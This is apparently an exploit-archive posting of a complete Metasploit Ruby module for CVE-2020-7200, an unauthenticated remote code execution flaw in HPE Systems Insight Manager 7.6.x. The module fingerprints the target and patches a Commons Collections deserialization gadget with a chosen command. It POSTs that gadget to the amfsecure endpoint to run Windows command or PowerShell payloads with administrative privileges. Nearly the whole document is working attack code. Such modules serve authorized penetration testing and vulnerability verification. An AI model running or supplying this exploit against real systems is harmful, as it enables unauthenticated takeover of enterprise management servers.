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HPE Systems Insight Manager AMF Deserialization Remote Code Execution

HPE Systems Insight Manager AMF Deserialization Remote Code Execution
Posted Mar 9, 2021
Authored by Harrison Neal, Grant Willcox, Jang | Site metasploit.com

A remotely exploitable vulnerability exists within HPE System Insight Manager (SIM) version 7.6.x that can be leveraged by a remote unauthenticated attacker to execute code within the context of HPE System Insight Manager's hpsimsvc.exe process, which runs with administrative privileges. The vulnerability occurs due to a failure to validate data during the deserialization process when a user submits a POST request to the /simsearch/messagebroker/amfsecure page. This module exploits this vulnerability by leveraging an outdated copy of Commons Collection, namely 3.2.2, that ships with HPE SIM, to gain remote code execution as the administrative user running HPE SIM.

tags | exploit, remote, code execution
advisories | CVE-2020-7200
MD5 | cf8674aaae2451fb617daa09623805e0

HPE Systems Insight Manager AMF Deserialization Remote Code Execution

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# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'HPE Systems Insight Manager AMF Deserialization RCE',
'Description' => %q{
A remotely exploitable vulnerability exists within HPE System Insight Manager (SIM) version 7.6.x that can be
leveraged by a remote unauthenticated attacker to execute code within the context of HPE System Insight
Manager's hpsimsvc.exe process, which runs with administrative privileges. The vulnerability occurs due
to a failure to validate data during the deserialization process when a user submits a POST request to
the /simsearch/messagebroker/amfsecure page. This module exploits this vulnerability by leveraging an
outdated copy of Commons Collection, namely 3.2.2, that ships with HPE SIM, to gain
RCE as the administrative user running HPE SIM.
},
'Author' => [
'Harrison Neal', # Original bug finder, reported bug to ZDI
'Jang', # Aka @testanull on Twitter, editor of nightst0rm, who wrote a very detailed writeup of this bug in Vietnamese
'Grant Willcox' # Metasploit module author
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-7200'],
['URL', 'https://testbnull.medium.com/hpe-system-insight-manager-sim-amf-deserialization-lead-to-rce-cve-2020-7200-d49a9cf143c0'],
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-20-1449/'],
['URL', 'https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&docId=hpesbgn04068en_us']
],
'Platform' => 'win',
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Type' => :windows_command,
'Space' => 64000
}
],
[
'Windows Powershell',
{
'Arch' => [ARCH_X64],
'Type' => :windows_powershell,
'Space' => 64000
}
]
],
'DefaultOptions' => {
'RPORT' => 50000,
'SSL' => true
},
'DefaultTarget' => 1,
'DisclosureDate' => '2020-12-15',
'Notes' =>
{
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
},
'Privileged' => true
)
)

register_options([
OptString.new('TARGETURI', [ true, 'The base path to the HPE SIM server', '/' ])
])
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return CheckCode::Unknown('Failed to connect to the server.') if res.nil?

body = res.body
unless body.include?('Please insert your Smart Card and login to HPE System Insight Manager.') && body.include?('<title>HPE Systems Insight Manager</title>') && body.include?('/ui/javascript/XeHelp.js')
return CheckCode::Safe("Target doesn't appear to be a HPE System Insight Manager server!")
end

data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname)
f_handle = File.open(File.join(data_dir, 'emp.ser'), 'rb')
serialized_payload_content = f_handle.read
f_handle.close
serialized_payload_content_final = payload_template_adjustments(serialized_payload_content, 'a') # NOP command of a which will allow for checking if the target is vulnerable.

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'simsearch', 'messagebroker', 'amfsecure'),
'data' => serialized_payload_content_final
})

unless res&.code == 200
return CheckCode::Safe("Non-200 HTTP response received during deserialization. Target doesn't seem to be vulnerable!")
end
unless res.to_s.include?('java.lang.NullPointerException')
return CheckCode::Safe("200 OK response didn't contain expected java.lang.NullPointerException. Target is not vulnerable!")
end

CheckCode::Vulnerable('Target returned java.lang.NullPointerException in its 200 OK response!')
end

def exploit
case target['Type']
when :windows_command
execute_command(payload.encoded.gsub(/^powershell(?:\.exe)* /, 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe ')) # If PowerShell is being used to run the command, specify the full path so that it will run correctly.
when :windows_powershell
execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true).prepend('C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\')) # Need full path to PowerShell binary for it to run for some reason.
end
end

def payload_template_adjustments(original_content, cmd)
original_content['PAYLOAD'] = cmd
original_content[0x47A..0x47B] = [cmd.length].pack('n')
second_adjustment_length = original_content[0x3C..-1].length * 2

pack_array = []
current_number = second_adjustment_length
for count in 0...3
if current_number >> 7 == 0
break
else
if count == 2
pack_array.prepend((current_number >> 8) | 0x80)
break
else
pack_array.prepend((current_number >> 7) | 0x80)
current_number = current_number >> 7
end
count += 1
end
end
pack_array.append((second_adjustment_length & 0x7F) + 1)
original_content[0x3A..0x3B] = pack_array.pack('c*')

original_content
end

def execute_command(cmd, _opts = {})
data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname)
f_handle = File.open(File.join(data_dir, 'emp.ser'), 'rb')
serialized_payload_content = f_handle.read
f_handle.close
serialized_payload_content_final = payload_template_adjustments(serialized_payload_content, cmd)

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'simsearch', 'messagebroker', 'amfsecure'),
'data' => serialized_payload_content_final
})

unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to execute the command')
end
unless res.to_s.include?('java.lang.NullPointerException')
fail_with(Failure::UnexpectedReply, 'Server should respond with a java.lang.NullPointerException upon successful deserialization, but no such message was received!')
end
end
end
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